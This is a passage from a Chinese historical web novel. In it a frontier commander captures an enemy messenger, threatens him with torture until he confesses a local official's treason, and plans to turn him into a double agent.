有个老兵翻了个身,嘴里嘟囔着:“那边军走了倒好,省得夜里还要查岗,冻得老子骨头都疼。”
话音刚落,就被旁边的士兵拽了拽袖子:“少说两句,被传到庞阎王耳中,就不好啦!”
北城门在夜色中如同沉睡的巨兽。
但今夜,这头巨兽将被内部蛀虫唤醒。
黑暗中,十几个守军悄然摸近,这些都是董家安插的人手。
为首的董三做了个手势,几人迅速控制住关键位置。却未发现王老幺眼睛眯起了一条缝儿。
借着昏黄的火光,记住了几张人脸。
“动作快些,大人等着消息呢!”董三低声催促,一边警惕地注视着那些真正睡着的守军。
绞盘转动的“嘎吱”声在寂静的夜中显得格外刺耳,但守军睡得犹如死猪般,根本就听不见。
城门开了一条仅容一马通过的缝隙,
一人牵着两匹快马如离弦之箭般窜出,融入茫茫夜色。
……
城外,袁飞和王善带着十多名精锐骑兵潜伏在缓坡后,他们慢跑跺脚,或吃着冷饼喝凉水。
这队人已经整整等了两个时辰。
“直娘贼,约莫快两更天了,老鼠不来,咱就回去。”王善也搓着手,看着兵卒,压低声音道。
话音未落,远处似乎有得得声被寒风送来。
“有骑兵。”袁飞等几个军汉趴在地上,异口同声。
“妈了个巴子,不枉咱们等了这么久,这耗子还真来了!”袁飞压低声音,眼中闪着兴奋的光芒。
“秦将军真是神机妙算,就知道有些人按捺不住。”
“大人不是说过吗?山中无老虎,猴子称霸王。”王善边回应、边吩咐亲兵检查绳索和装备。
有人问道:“头儿,城门处安插了自己人,为什么不直接拿下城里的内应?非要等送信的出来?”
王善直截了当地说:“大人想放长线,钓大鱼。”
袁飞冷笑出声:“拿下送信的,拿到了证据,才能一网打尽,连根拔起豪强董家的势力。”
当远处马蹄声越发清晰,所有人立即进入战斗状态。
“驾、驾……”
夜色中,一骑打马扬鞭,往拒马河的方向狂奔。
马上的人,是董袭的心腹吴二。
他怀里揣着那封密信,心口砰砰直跳。虽不知道信里写了什么,但却清楚是要联络草原狼戎部族,要告知狼戎某支队伍覆灭的消息。
但他清楚,这事一旦败露,便是杀头的罪过。
明知诛九族的大罪,他却没得选择。
吴二本是风雪天里快饿死的流民,是董袭救了他的命。
这些年,他凭着勇猛和稳重受了重用,不仅
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会说狼戎语,还帮董袭经营商队,从草原收购皮货牛羊,私下往草原输送过粮食、铁料。
这次董袭把密信交给他时,拍着他的肩膀说“此事办妥,不仅报了救命之恩,还能得一大笔赏赐”。
这话让吴二心头火热。他勒紧缰绳,眼神越发坚定:“等这事了了,就离开这边陲之地,去中原买田置宅,娶几房妻妾,做个安稳老爷。”
想到这儿,他嘴角忍不住勾起笑意,催马跑得更快了。
可现实偏不遂人愿!
刚出郡城几里地,途经一处土坡时,前面夜色中“嗡”的一声,地面突然绷起一道粗麻绳。
是绊马索!
吴二反应极快,猛地勒住马缰,马前蹄扬起,发出一声嘶鸣。
“不好,有埋伏!”他常年在外行走,经验丰富。见到绊马索,意识到被人盯上,拨马欲逃。
却已经为时已晚。
土坡后面已窜出十多个骑兵,左右包抄而来。
为首的正是袁飞和王善。
“拿下!”“抓活的!”两人一声大喝。
骑兵们一拥而上,兵如猎豹般扑出。
吴二反应极快,就地一滚抽出短刀。
但又有什么用?他已经陷入重围。
王善一记巧妙的棍击打落他手中武器,几条**抵住吴二的胸口,不等他挣扎,就被拽下马背,粗麻绳像蛇一样缠上来,将他五花大绑。
顺便从吴二贴身处搜出那封密信。
看着信上火漆,袁飞咧嘴一笑:“直娘贼!还真让秦将军说中了,必定是董老狗勾结**。”
王单手法娴熟地卸掉吴二的下巴,拍拍他的脸颊:“将军说了,他一走,必定有老鼠跳出来!”
原来,秦猛早就料到,自己离城后,董袭这类人绝不会善罢甘休。
先前董袭怂恿丢了产业的掌柜,管事去幽州告状,就可见其心性,睚眦必报,岂能善罢甘休?
再联想到林安国家眷遇袭,绝非偶遇!
定是有人走漏消息狼戎在那一带徘徊,守株待兔。
最大的受益者,除了董袭还能有谁?
于是,秦猛率队救援,却不伸张,故意装病不出,再大张旗鼓地离开,就是为了引蛇出洞。
袁飞和王善这队骑兵,便是他早就布下的伏兵。
“知己知彼,百战不殆。”王善又感慨这句话来。
“将军说过,要收集有用的信息,如一个人的眼神,说话的语气,神态等,来揣摩分析敌人……”
“哎,我不如也!”袁飞由衷的敬佩。
“跟将军比?先超过我再说。”王善斜着眼补刀。
“我擦,王善,你敢小瞧我?”袁飞眼睛瞪圆了。
军寨卒们赶忙隔开两人。
“你瞅啥?”袁飞见吴二满脸惊恐地看着自己等人,便把气撒在他身上,上前踢了他一脚。
可怜的吴二瞬间蜷缩成了虾米。
把吴二绑缚马背,一行人风驰电掣地往铁血军寨赶去。
第95章 军寨议事
铁血军寨,今夜与众不同,竟是一派热闹景象。
修缮一新的官署内,灯火通明,杀猪宰羊的油脂香飘出老远,蒸腾出一片炽热喧腾的景象。
秦猛设宴款待赵起将军及其麾下赵平、周扬、徐强等一众将领。
秦大壮、张富贵、李山等人作陪。
新投军的常勇亦在席中,他已征得东家常九的同意,决意投身行伍。
酒过三巡,席间的气氛愈发酣畅热烈。
将领们褪去拘谨,端着酒碗,纵论边关军事。
无需赵起将军多问,秦猛便将冷艳山贼人来袭与狼戎劫掠两场战事,一五一十地详尽道来。
张富贵、王铁山更是绘声绘色地补充夜袭冷艳山、遭地方厢军无理围寨的细节,言语间毫无保留。
赵起将军早已收到袁飞密信,知悉擒获贼首严彪并搜出密信之事,深知其中关乎重大情报。
他此刻面沉如水,未动声色。
然而,赵平、周扬等将领初闻其详,无不勃然大怒,痛骂幽州地方军行径恶劣,其声浪几乎要掀翻屋顶。
赵起并未制止,只是适时将话题引向如何应对**。
言谈间,话题迅速聚焦于新制武器,**之上。
“秦将军,这**虽好,可怎么用才能给**最大杀伤?”周扬放下酒碗,语气急切地问。
——此前在冷艳山寨见识过其威力:瓷瓶碎裂,火油四溅,风助火势,一片狼藉,他早已心痒难耐。
秦猛嚼完口中羊肉,沉稳答道:“依我之见,当用于防守之战,或择选窄道、河谷等地形施展。”
他放下筷子,以指为笔,在桌面上划出构想:“我有个大胆的想法,诸位可曾留意后堡门那圈冰墙?”
包括赵起将军在内的众人纷纷点头。
“那是一夜之间筑起来的!”秦猛继续阐释,“若在界河畔筑起约莫一人半高的冰墙,便能有效阻滞骑兵。”
“届时故意留出缺口,迫使**进入狭窄地域。”
“**骑兵虽悍,一旦挤入窄道,人马拥塞,我军再掷出**,烈火燃起,他们便插翅难逃。”
“再者,焚烧其粮草!**远来,粮草是其命脉。”
“一把大火,若能惊散其羊群,敌军必不战自乱。”
“说得极是!”赵平击桌附和,“一是用于坚守,二是攻其不备。”
“昔日黑风口一战,若有此等利器,岂容**那般轻易遁走?下次遭遇,定要让他们尝尽火焚之苦!”
赵起将军则更关注另一层面:“这沿河筑冰墙之策虽妙,然防线漫长,耗费人力物力恐难估量。”
秦猛对此已有思量,幽州界河防线绵延数百里,冰期将至,短期内,全线修筑确不现实。
他进而阐述:“冰墙无需处处皆筑,可重点设于村坊密集之处,串联各堡、各寨,辅以多建瞭望楼,多蓄猛犬。”
“白日,可第一时间发现敌情并予以狙击。”
“夜间,犬只敏锐,能及时示警,亦可点燃烽火、吹响号角,防敌偷袭,军寨也可从容应对。”
“边军之责在于防守,核心是护卫后方百姓安宁。”
“此举不求斩获多少首级,但求护得百姓周全。”
“好,甚好!”赵起越听越是赞许,眼中光芒愈盛,因其越想越觉此法不仅可行,而且能收奇效。
“筑冰墙所需,无非麻袋、沙土、人力及粮食。”
秦猛眼珠一转,又将主意打到地方州府上:“可上报帅司,请旨由地方动员民众,最好是从那些豪强家出资集粮,边军从旁辅助督导。”
“不错!极好!此计大妙!”
众人闻言哄笑,官署内的热烈气氛达到顶点。
宴席终了,军卒奉上极品香茶。
秦大壮、张富贵等军汉粗犷,只觉茶汤解腻。
而赵起显然是识货之人,轻抿一口,便赞道:“好茶,江南的雨前龙井,秦知寨倒是会享受!”
“将军谬赞,此亦是他人盛情所赠,推辞不过。”秦猛面露无奈,心下只怨那韩齐太过热情。
赵起目光如炬,重提旧事:“你前番前往青阳郡,究竟所为何事?”
秦猛心知难以隐瞒,索性坦诚:“去收些产业。”
“那刘耀宗曾在赌坊欠下我赌债,自愿用产业抵偿。”
此言一出,满座霎时寂静。
谁人不知,这位秦知寨昔日曾患痴愚?
这番赌债之说,众人心知肚明,不过是个托词。
赵起脸色陡然一沉:“你可是强占了刘家产业?”
“须知大周律法严明,边将不得干预地方事务!”
“将军息怒。”秦猛不慌不忙,自怀中取出一沓欠条,几份盖有朱红大印的公文,呈予赵起。
“此乃刘耀宗自愿以产业抵债的凭据,以及历经县衙、郡衙核验钤印,官方认可,程序俱全。”
“我朝律法确有规定,痴傻之人输钱不作数。”
“然心智健全者输钱,则不得抵赖,亦未明文禁止边军,厢军不能赌耍,收取抵债之产业。”
他稍作停顿,继续道:“再者,律法禁止官员经营产业、与民争利,本意是防范以权谋私。”
“末将遵纪守法,已将那些产业悉数售予富户商贾,绝不插手经营,更未从中牟取半分私利。”
“此番所得钱粮,尽数用于军寨修缮与边防建设,未入私囊分文。”
“我身为边军将领,朝廷命官,凡事恪守规章法度,保家卫国,岂敢滥用职权,授人以柄?”
秦猛说得正气凛然,慷慨激昂。
然而,在座诸将瞠目结舌,谁不知这厮胆大包天?
月前区区一小卒,就敢一枪格杀巡检使臣!
此刻无不嘴角抽搐,强忍笑意。
但见他拿出的公文证凿齐全,官府大印赫然在目,言之成理,持之有故,竟让人挑不出丝毫错处。
赵起瞧着秦猛这副“忠臣良将”的模样,又特别能说,只觉额角青筋微跳,脑壳隐隐作痛。
他本欲问清原委,稍作敲打,告诫其不可肆无忌惮。
然而,面对这白纸黑字、官印清晰的文书,实在无从指摘。
总不能将那已赴黄泉的刘家人提来对质。
最终,赵起只得无奈摆手:“罢了,罢了!你倒是生就一张伶牙俐齿。然而
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,往后行事,必须申报,不可乱来,心中自有分寸便好。”
“末将遵命!”秦猛暗自长舒一口气。
他岂是那贪图产业之人?
实则是芦苇堡待重修,双涡堡需加固,若是苦等朝廷的钱粮拨付,不知要等到何年何月。
出此下策,实属无奈。
唯有行此霹雳手段,敛财以解军寨升格之燃眉之急。
这搞死恶霸,取其不义之财以资军用。南河镇刘德才既已倒下,刘德福便是下一个目标。
而那董袭,若不意外,亦将步其后尘。
“且慢!”赵将军见秦猛面露轻松,似欲将此事轻描淡写揭过,他眉头一扬,话锋陡然一转。
“本将记得,刘家产业中,似有一处赤铁矿,储量颇丰,往日不少矿石都售往帅司,其地似乎位于……”
“白松岭!”赵平与周扬异口同声提醒。
“正是。”赵起颔首,目光意味深长地投向秦猛,“白松岭那座赤铁矿,莫非也已落入你手?”
“确是如此!”秦猛坦然承认,毫不犹豫地接话,“铁矿乃军需要资,此矿洞非末将私产,乃充作军矿。
日后所出矿石,六成输送飞虎大营。”
白松岭铁矿储量丰富,且属易开采的地表上层矿。
其产出即便仅三成份额,也足以满足军寨及两堡所需。
愿将六成铁矿石供给飞虎大营,自然不是无偿奉献。
爽快让利之后,秦猛面色转为凝重,进言道:“将军,末将所忧者,是矿洞易遭有心人觊觎。”
“恳请飞虎卫派兵驻防协守,并可在该处直接修建熔炉,将矿石炼为铁锭。”
“如此,可省却大量运输耗费,事半功倍。”
“言之有理。”赵将军“嗯”了一声,似笑非笑地瞥了秦猛一眼,“你这小子,六成铁矿,倒也舍得。
却胆大包天,此番是想拉本将做你的挡箭牌了?”
“将军此言差矣。”秦猛面色如常,当即反驳道:“末将真正忧心的,是草原那边的威胁。”
“军寨百废待兴,兵力捉襟见肘,万一**突袭矿洞,则万事皆休,反而资敌,悔之晚矣!”
“更何况,铁矿实乃我军命脉所在。”
“有充足铁料锻造铠甲兵刃,不知能挽救多少袍泽性命!”
“为此,即便手段激烈些,我秦猛也绝不皱一下眉头。”
赵平、周扬、张富贵、李山等人闻言,自然是知道这种局面,纷纷点头称是,齐声道“没错”。
赵起凝视秦猛良久,目光锐利如刀,似要将其看穿。
最终,他拍板定夺:“矿洞那边,本将会派人布防,并征调一批熟练工匠前往,就地冶炼。”
“将军英明!”秦猛拱手,顺势送上一记马屁。
“将军英明!”
秦大壮、张富贵、李山等人有样学样,齐声高呼,声震屋瓦。
赵起瞧着眼前这群军汉动作整齐,如出一辙,真是哭笑不得,唏嘘“近墨者黑,近朱者赤”。
正当此时,一名飞虎卫兵闯入厅内,带来最新消息。
“将军,秦知寨,袁飞他们回来了!”
第96章 倒刺破硬汉
铁血军寨,依旧是在那官署内。
喜庆气氛早已荡然无存,取而代之的是一股凛冽肃杀之气。
袁飞与王善将捕获的吴二押至大厅。
两人毫不客气地入座,抓起案上烧鸡便大口撕咬,抱起温酒坛就狂灌,含糊不清地汇报情况。
“将军,奉秦知寨命令,我等埋伏在郡城北门外土坡处,苦候两个时辰,终将此獠擒获……”
王善主要负责叙述抓捕经过,并将那封火漆密信呈上。
“直娘贼!路上我等试探问过,这厮就是去草原告密的,证实青阳郡城内有官员与**勾结!”
袁飞则一边抱怨,一边盛赞秦猛料事如神,算定他一走,暗地里的鼠辈便会跳出来,急奔界河报信。
袁飞口中不时迸出的粗言秽语,令赵起将军眉头紧锁,几度欲开口斥责,却终究按捺下去。
秦猛冷眼旁观,心中却若有所思。
赵将军端坐上位,秦猛侧坐相陪,其余将校分列两侧,目光如刀,齐刷刷钉在大厅中央、被军卒死死按住的吴二身上。
吴二何曾见过这等阵仗,面如死灰,心知此番绝无幸理。
赵将军无意多言,直视吴二,开门见山地问:“说吧,把你知道的都说出来,本将或可考虑饶你一命。否则,以通敌罪论处,株连九族。”
“哼!吴某早是孤家寡人,一人吃饱,全家不饿!”吴二岿然不惧,剧烈挣扎,梗着脖子叫嚣。
“要杀要剐,悉听尊便!”
“二爷既落在你们这群丘八手里,就没想着活!”
赵将军眉头拧紧,又厉声追问数句。
吴二依旧不答,被问烦了,索性闭目,一言不发。
赵平、周扬、袁飞等将领勃然大怒,纷纷上前。滴溜起吴二,揪发扇脸用刑,抽刀恐吓。
“哼!来啊!给爷个痛快!”吴二见状非但不惧,反而哈哈大笑,伸长脖颈求死:“若不敢杀我,尔等这些家伙便是缩头乌龟,有种就来!”
他深知若熬刑不过,下场将更为可怖。
吴二那不屑的眼神与辱骂,顿时激得孙平、张富贵等人怒发冲冠,骂声如雷,欲拔刀劈砍。
“退下!”赵将军无奈,喝退众将。
他眼角余光瞥见秦猛仍悠闲地靠在椅子上,翘腿品茶,架势竟比自己还足,不由心头火起。
“秦知寨!此人便交予你审讯,本将只看结果!”赵将军指向地上的吴二,不容置疑地下令。
言罢,他靠在椅子上,端起茶杯。
“遵命!”秦猛二话不说,放下茶杯,慨然领命。
随即,他转头指向王善:“王队长,你去审。”
“是!”王善亦是昂首领命,继而看向兄弟**。
“王副队长,没听见吗?将军要结果!”
“是。”**当仁不让地应声,立刻朝外呼喊:“虎子,这儿有个硬骨头,取专用审讯家伙来!”
“是!”署衙外,传来亲兵王二虎的回应。
这当着将军的面,一连串层层下达的命令,让孙平、周扬、袁飞等将官瞠目结舌,面面相觑。
上位的赵将军更是“噗”一声,将口中茶水喷了出来。
“区区俘虏,何须我亲自动手,顷刻便见分晓。”秦猛忙递上一块干净的帕子,自信满满道。
“我改进了审讯法子,并非不说就用大刑的那套。只需双管齐下,保管这位好汉有问必答。”
“那本将倒要好好瞧瞧。”赵起接过手帕擦拭水渍,听得秦猛如此笃定,狠狠瞪了他一眼。
“赶紧审,若办砸了,将军罚我之前,老子先处置你们!”
秦猛立刻心领神会,转头对王善、**喝道。
王善兄弟此番未再转达“上峰指示”,立即动手。
恰逢王二虎取来审讯工具。
仍是那几条细绳与带倒刺的钢钎。
“哦?果然是条硬汉?”秦猛背着双手,冷冽目光俯视吴二,“小子,将军问话,最好从实招来。”
“若让老子动手,你会明白什么叫做生不如死。
莫说是你,那女真**、冷艳山大当家严彪,起初也如你这般硬气,最后无不哭嚎求饶,尽数吐实……”
“哼……”吴二心中泛起强烈不安,却仍强装镇定冷哼。
“自我介绍一下,我乃铁血军寨知寨官,秦猛是也!你家主子董袭见了我亦需低声下气,你他娘算什么东西?真当老子不知道你们龌龊?”
秦猛故意点破,目光冰寒,视吴二如看个**。
“什么?你便是那秦煞星?”吴二闻言大惊失色。
“动手!”秦猛懒得多费唇舌,直接向王善、**下令。
两兄弟立即带人一拥而上,将吴二死死按住。
他们扒衣褪裤,掏裆捏臀。
“你们做什么?放开我!……”吴二觉得自己被侵犯了,奋力挣扎,见几条细绳缠向裆部,闪着寒光的倒刺钢钎逼近**,吓得浑身剧颤。
“兄弟,董家勾结**罪证确凿,你何必陪葬?飞虎卫赵将军金口玉言,说放你,定会放你。”
秦猛见其惊恐万状,在边上展开言语攻势,抬出赵将军作最后劝说,确保对方看到希望。
“最后给你一次机会,若再不把握,让你求生不得,求死不能。”
“说了吧!你熬不住的!这玩意若是捅进去,那滋味……”**将倒刺钢钎凑近吴二眼前低语。
吴二顿时面无人色,嘶声大叫:“我说!我全说!……”
“这就说了?”赵起,赵平等人错愕。他们视线被阻挡,只看到一群人涌上前,没有骇人手段。
“好了。”秦猛阴笑数声。王善等人即刻停止审讯前奏,并替吴二整理好衣裤,退立一旁。
角落处,李恒早已铺开纸笔。
这是归来路上秦猛特意交代,除署衙公文起草外,此类笔录亦由他负责。
“说,姓名?”秦猛冷声问。
“小…小人姓吴。”吴二惊魂未定:“排行老二,叫吴二。”
“年龄?”
“二十有九。”
“性别?”
“啊?……”吴二愣住了。
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众人亦皆愕然,这难道还不明显?
“**!”**窜上前,一脚将吴二踹倒,“大人问什么,你答什么!多半句废话,大刑伺候!”
王二虎等人立刻凶神恶煞地亮出各式稀奇刑具。
吴二吓得魂不附体,连声应承。
赵将军与其麾下军官目睹此景,只觉大开眼界,眼皮狂跳,愈发觉得这位秦知寨似暴徒多过边军,而且带出来的部下好像是一群兵痞。
但却又莫名感到一种爽快,军人有时便需如此手段。
“性别?”秦猛再次追问。
“男…男的!”吴二身体发抖。
“深夜出城,所为何事?”
“奉…奉命越过界河,前…前往草原。”吴二言语含糊,未直接出卖主人,私下已做好挨打准备。
“奉命?奉谁之命?”秦猛目光如炬,继续逼问,“上个问题你未答全,我未下令用刑。
这次你得想清楚了,机会用尽,你可以试试?”
“试试”二字,如闷雷炸响。
此番赵将军已有准备,未再被吓得手抖出茶水。
“是郡丞董袭大人!”吴二一哆嗦,脱口而出。随后汉子脸色灰败,双肩陡然塌下,如泄气皮囊。
——这是心理防线彻底崩溃的征兆。
秦猛嘴角微扬,续问:“董郡丞派你作甚?”
“派我…派我去草原,给狼戎黑狼部送密信。具体内容我不清楚,只知…只知是要对付秦知寨您……”
在满堂铁甲军汉凶厉目光逼视下,在秦猛独特审讯法的威慑前,吴二硬气过后,竟干脆利落地吐露了幕后主使。
其间赵将军二次确认追问。
吴二回答得更为流畅,如竹筒倒豆子般悉数供出。
果真是青阳郡丞董袭勾结狼戎。
郡守林安国家眷遇袭,亦是此位董郡丞幕后指使。
此番更是派人联络狼戎,意图对边寨不利。
官署内,无人打骂,唯有粗重喘息与咬牙切齿之声。
秦猛取来李恒所录审讯记录,审阅无误后,亲让吴二画押。
王善、**等人作为审讯人签姓名,自己亦署名复核。
“吴二兄弟,现给你个机会。若投靠我们将功补过,不仅饶你性命,且赏赐银钱,日后得以重用。
若不愿,便只能待擒获董袭后,一并斩首示众,同穴而葬,黄泉路上也有个伴,如何?”
这声“如何”,让吴二下意识连连摇头,忙不迭选择前者——但凡有机会活命,谁愿求死?
“你好好斟酌本官的提议!”秦猛朝吴二露出和善笑容,随即令王善将人带下看管,给些吃食。
“将军,审讯完毕,此乃审讯记录,请您过目。”秦猛昂首阔步至赵起面前,双手奉上供词。
赵起全程目睹秦猛如何威逼利诱、瓦解俘虏心防,对事态脉络已然清晰。
他接过记录,只扫一眼,便眼前一亮,以特殊格式记录,角落署名,一目了然,忍不住赞叹。
“好!本将还是小瞧你了!粗中有细,有勇有谋啊!”
第97章 夜谋,将计就计
审讯结束后,议事厅内的烛火摇曳!
案上董袭勾结狼戎黑狼部的供词墨迹未干,勾结草原**,输送粮食铁料,私放狼戎越境、泄露布防图等叛国行径,让空气透着刺骨寒意。
赵将军手指按在供词边缘,指节因用力而泛白。
他肃然地扫过在场众人,沉声道:“此事若传出去,必定动摇北疆军心,任何人不得泄露半个字,否则,不仅自身难保,还会连累家人。”
话音落下,他挥了挥手,让大部分亲兵与将校退下,只留下赵平、周扬、秦猛三位核心将领。
以及亲自擒获报信者的袁飞与王善。
赵起拿起案桌上那封未拆的密信,看向众人,问道:“这封通敌密信,诸位觉得该如何处置?”
“自然是当作铁证!”赵平率先开口c语气带着难掩的愤怒。
“董袭这等败类,勾结**残害同胞,应当立刻拿着密信交给帅司,上奏朝廷,株连九族,将他与同党及家族连根拔起,以儆效尤!”
周扬与袁飞攥紧拳头,纷纷附和:“不仅要查董袭,还要顺藤摸瓜,看看郡城里还有多少官员与他同流合污,若不彻底清理,北疆永无宁日!”
赵起却没有接话,只是皱着眉摇头,目光缓缓落在始终沉默的秦猛身上,那眼神里带着几分期许,开口问道:“秦猛,你有何看法?”
秦猛上前一步,目光落在那封密信上,笃定地说道:“不用看,我都能猜到密信上写的是什么。
董袭的诡计被我破坏,计划全毁。又当众被我羞辱,威胁,颜面尽失,他必然怀恨在心。
这信里,定然是借刀**,向狼戎黑狼部告密,说杀了他们骑兵队的人是谁,怂恿**亲自来对付我,好借狼戎之手报他一己私仇。”
赵起静静地听着,指尖轻轻敲击着刺槐案桌,没有打断他的话,显然是认可他的判断。
可下一秒,秦猛却说出了一句让所有人震惊的话:“这封信,不应该留着当证据,应该送出去。”
“什么?”赵平猛地站直身体,声音都提高了几分。
周扬与袁飞更是满脸不可思议。
袁飞忍不住追问:“秦将军,你这话是什么意思?这可是董袭通敌的铁证,送出去岂不是放纵不管?
还会让狼戎知道是你杀了他们的人,到时候**大怒,越过界河,大军压境,军寨如何抵挡?”
秦猛却神色平静,缓缓说道:“就是要让他们知道,就是要让他们来功,节奏由我们掌控。
为将者,不能只盯着眼前的利益,更要懂得主动创造战机。董袭想借刀**,我们为何不能将计就计,借着这封信,给狼戎设下一个陷阱?”
赵起轻轻点头,眼中赞许之意更甚。
秦猛顿了顿,继续说道:“这密信是要送,而且必须让吴二这个熟人去送,也只有他去。
狼戎认识他,才不会起疑心,这样才保险。
但在这之前,必须先说服吴二归顺,让他成为我们的眼线,再安排我们的人乔装成他的随从。一同前往狼戎部落,趁机摸清狼戎敌情……”
接下来,秦猛开始滔滔不绝地阐述自己的完整计划。
从说服吴二,到随行人员收集情报。
再到后续**来犯,设伏击圈,如何根据情报制定反击策略,每一个环节都考虑得极为周全。
众人这才明白,秦猛抓吴二,不,是离开青阳郡城后,就等着董袭跳出来,借机会重创狼戎。
这计划不仅顾着眼前反击,还想削弱黑狼部实力。
——大周与草原部落交锋吃亏,就是因为部落逐水草迁徙,居无定所,周军找不到目标。
而这计划能精准定位狼戎时代再攻杀!
赵平、周扬、袁飞听得目瞪口呆,后知后觉想到了漏洞,想提问却被秦猛的安排堵回去。
他早防着吴二异心,让两人随行,一人监视、一人收集情报,小队尾随策应,还配了信号烟火。
情报传递藏在马鞍夹层,让斥候接应。
几人越听,越震撼,脸上的震惊逐渐变成钦佩。
只有赵起不时点头,提出见解:“选两人随行要谨慎,策应队伍,也得身手了得,要懂狼戎语,得防着吴二反水,一旦暴露,万般皆休。”
“将军说得对。”秦猛回应,“军寨懂狼戎语的少,我正琢磨人选,请将军也从飞虎卫中筛选。”
两人围绕计划可行性、风险、人员安排讨论许久。
烛火换了一根又一根。
窗外夜色渐浓,月上中天时,才定好计划框架。
赵起整理好盔甲,婉拒秦猛留宿:“计划定了,我得回驻地安排人,明天一早让可靠的来对接吴二的事,不可耽搁太久,别夜长梦多。”
袁飞与王善垂头丧气!
他们主动请缨去草原,却因“不懂狼戎语”被否决。
秦猛拍他们的肩:“此行太危险,狼戎素来敌视汉人,暴露了活不成。后续伏击**,主动突袭,有更重要的任务给你们,别掉链子。”
两人虽不甘,也只能接受。
送走赵起一行,秦猛皱起眉。
计划好定,落地难。选随行人员不易,说服吴二更难。
之前逼供时,他亲自下场,命人对吴二动了刑。
吴二早把他当恶人,现在要吴二帮忙,难度极大。
“大人,”王善早已振奋精神,见秦猛忧虑,忽然提醒,“韩当家是做皮货药材生意,常跟草原部落打交道,他麾下说不定有懂狼戎语的人。”
……
寨内,营房。
近来寨内人数激增,住宿条件紧张。
归来又是夜晚,韩勇及其麾下被临时安顿至此。
韩勇,刘三盘坐在通铺上。
王善,**从食盒里取出酒肉摆上。
“赵将军召见,商议军事,韩当家莫要见怪。”秦猛一边说,一边拿着勺子舀鸡汤,端给两人。
“两位的伤势
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如何?有什么需要,尽管跟我说。”
韩勇与刘三连忙坐直身体,神色恭敬地接过汤碗。
韩勇连连应声:“多谢大人关心,医官来过,敷药包扎伤口,嘱咐明日,便可缝补治疗。”
两人都是经商多年的人,善于察言观色,一眼就看出秦猛虽然脸上带着笑容,眉宇间却藏着几分忧虑,深夜拜访,定然是有事情。
刘三犹豫了一下,还是开口问道:“秦将军,您是不是有什么心事?若是信得过我们,不妨说出来,或许我们能帮上点忙。”
秦猛看了看四周,见没人注意这边,示意**去门口放哨,才压低声音,提及了烦心事。
如何说服俘虏吴二,让他配合送密信去狼戎部落。
韩勇闻言眼睛一亮,立刻放下汤碗,自告奋勇地说道:“秦将军,此等小事交给我吧!
我常年在北疆与草原之间走动,最懂如何与人打交道,吴二不过是个趋利避害的小人物,只要晓以利害,再许他一些好处,定然能说服他!”
不等秦猛回应,他又接着说道:“而且,您刚才说需要懂狼戎语的人随行,也真是巧了。我这里正好有两个人选——赵虎和陈石。”
“是他们?”秦猛愣了愣。
“没错,这两人原本是东山堡的土兵,东山堡与东胡狼戎族隔河相望,边民经常与狼戎人打交道,不仅会说狼戎语,还熟悉草原的地形。
后来东山堡被**捣毁,他们无处可去,那是我带商队路过,收留了他们的。这两个兄弟身手不错,也够忠心,是随行的最佳人选。”
秦猛一听,顿时大喜过望,他正愁找不到懂狼戎语的可靠人手,没想到韩勇竟然真能推荐。
他连忙说道:“那太好了!韩当家,麻烦你把这两位兄弟请来,我想亲自征求他们的意愿。”
韩勇没有迟疑,立刻让人去自己的住处传唤赵虎与陈石。
不多时,一高一矮两个身影跟着亲兵走了进来。
正是赵虎与陈石。
秦猛当着韩勇的面,语气郑重地将前往草原的任务一一阐明:“此次草原之行,你们需深入敌境探查狼戎动向,标记水源与粮草囤积点,深入草原,稍有不慎,便有性命之忧。”
他顿了顿,加重语气补充奖赏:“但只要任务能顺利完成,赏银百两、军田三十亩这是基础。
除此之外,你二人直接选为本将亲卫,保举你们升任队将,飞虎卫赵将军是担保,从此便是朝廷认证的低级武将,有了正式的军职前程。”
赵虎与陈石对视一眼,眼中满是激动,他们原本只是败兵,流落成匪,如今有机会成为朝廷武将。
这是光宗耀祖之事,是他们之前想都不敢想的事,两人几乎没有犹豫,立刻单膝跪地,齐声说道:“小人愿意前往草原,定不辱使命!”
秦猛满意地点点头,把两人搀扶起身,又叮嘱了几句注意事项,才让他们随**先下去准备。
第98章 怀柔收吴二
韩勇见赵虎、陈石领命退下,打心里为两人高兴。
他本性淳朴,手底下的兄弟能摆脱山贼的身份,过得安稳。是他多年来的坚持,为此努力。
正高兴着,他突然想起一件事,笑容逐渐收敛。“扑通”一声跪倒,看向秦猛,语气满是恳求:
“秦知寨,小人是边堡土兵,当年若不是严大当家相救,早就死在深山里成了野兽的口粮。
回程途中得知大当家没死,求您开恩,让我去见他几面,送点酒菜,也算是报答他当年的救命恩情。”
秦猛见他这般重情重义,稍作犹豫便点头应下:“好吧,明天你就可以去见他,送点吃的。”
他根本没说其他注意事项。
因为他早看出韩勇直爽,办事稳重,更有“双尾狐”的头脑,做事有谱,根本不用额外提醒。
“多谢大人!”
韩勇眼中闪过感激,身子一低就要磕头谢恩。
秦猛眼疾手快,一把就将他拽了起来,语气爽利又实在:“好了,在我这不兴跪拜这套。
你既然加入边寨,那咱就是自家兄弟,以后,没必要搞官场上这些虚头八脑、没用的姿态。”
“是!”韩勇心里像淌过一股暖流,重重地点头。
他不愿落人后,也想主动担事,当即起身说道:“秦将军,那我现在就去见吴二!您放心,韩某保证,一定能说服他,等我的好消息!”
怕秦猛不放心,他又补了句硬气的话。
“若不能说服,任凭惩处!”
一旁的刘三也坐不住了——他心里一直惦记着家人安危,见韩勇主动**,也急忙开口。
“我也去!秦大人连我这种都能网开一面,何况他人?想必以我的身份,也能起到不小的作用。”
说罢,这两个伤号也顾不上疼,伸手就去披搭在一旁的衣服,转身就要往外走。
“等等!”秦猛见两人这般积极,心里其实很满意,却故意板着张脸,指着桌上的汤碗说道。
“先把汤喝了,吃饱了再去。”
顿了顿,他又补充道:“来,我陪你们喝两杯,顺便跟你们说说吴二的情况,也好有个准备。”
“是!”韩勇、刘三立刻停下脚步,依言坐回桌边,三人围着矮桌边,就着酒肉轻声交谈。
烛火映着三人的身影,倒有几分同袍相惜的暖意。
……
等秦猛回到家中时,已经是深夜。
堂屋灯火摇曳,秦小芸与王艳正扎着马步,两人的额头上满是汗水,却依旧咬牙坚持着。
陈月娘则坐在油灯旁,手里拿着针线,凑着亮光,缝补着一件旧衣裳。
秦猛推开虚掩的门进来,脚步声和门响立刻惊动了三人。
“哥!”秦小芸最先惊喜地叫出声,下意识就想收功跑过来,但身子一晃,又勉强稳住了马步。
“秦将军。”王艳也闻声望去,敬畏地打了声招呼。
陈月娘见状,立刻放下手中的针线活儿,站起身快步迎上前,语气温柔中带着关切。
“回来了!”
她熟练地帮秦猛卸下身上沉重的铁甲,转身将铁甲妥善放好,轻声道:“你先坐会儿,我去给你倒杯热茶。”
